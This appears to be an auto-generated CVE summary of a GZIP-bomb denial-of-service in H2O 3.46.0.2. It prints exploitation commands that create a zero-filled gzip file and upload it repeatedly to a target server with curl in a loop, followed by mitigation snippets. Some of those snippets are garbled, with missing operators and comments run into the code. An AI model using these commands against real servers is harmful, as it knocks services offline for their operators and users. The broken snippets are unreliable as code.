How the CVE Works:
In H2O version 3.46.0.2, a vulnerability arises when the server processes large GZIP files. The issue stems from improper handling of highly compressed data, leading to memory exhaustion and excessive CPU usage. When a malicious user uploads a specially crafted large GZIP file, the server attempts to decompress it repeatedly, causing a significant data amplification effect. This results in the server becoming unresponsive due to resource exhaustion, effectively creating a Denial of Service (DoS) condition. The vulnerability is exacerbated when multiple such files are processed concurrently, overwhelming the system and rendering it incapable of handling legitimate requests.
DailyCVE Form:
Platform: H2O
Version: 3.46.0.2
Vulnerability: Denial of Service (DoS)
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
- Crafting Malicious GZIP Files: Attackers can create large, highly compressed GZIP files designed to trigger excessive resource consumption.
dd if=/dev/zero bs=1M count=1000 | gzip > malicious.gz
- Uploading Files: The malicious file is uploaded to the H2O server via its file upload endpoint.
curl -X POST -F "[email protected]" http://target-h2o-server/upload
- Triggering DoS: Repeatedly uploading or parsing the file causes memory and CPU exhaustion.
for i in {1..100}; do curl -X POST -F "[email protected]" http://target-h2o-server/upload; done
Protection:
- Patch Installation: Upgrade to the latest version of H2O that addresses this vulnerability.
pip install --upgrade h2o
- Input Validation: Implement strict file size and type validation for uploaded files.
MAX_FILE_SIZE = 100 1024 1024 100MB if file.size > MAX_FILE_SIZE: raise ValueError("File size exceeds limit") - Resource Limits: Set resource limits to prevent excessive memory and CPU usage.
ulimit -v 1048576 Limit virtual memory to 1GB ulimit -t 60 Limit CPU time to 60 seconds
- Rate Limiting: Implement rate limiting to prevent multiple concurrent uploads.
limit_req_zone $binary_remote_addr zone=upload_limit:10m rate=1r/s; location /upload { limit_req zone=upload_limit burst=5; } - Monitoring: Use monitoring tools to detect unusual resource usage patterns.
top -b -n 1 | grep h2o
Analytics:
- Impact: High, as it can render the server completely unresponsive.
- Attack Complexity: Low, as it requires minimal technical knowledge to exploit.
- Mitigation Difficulty: Medium, requiring both software updates and configuration changes.
By following these steps, organizations can mitigate the risk posed by this vulnerability and ensure the stability of their H2O servers.
References:
Reported By: https://github.com/advisories/GHSA-6w62-3jvj-mfj6
Extra Source Hub:
Undercode
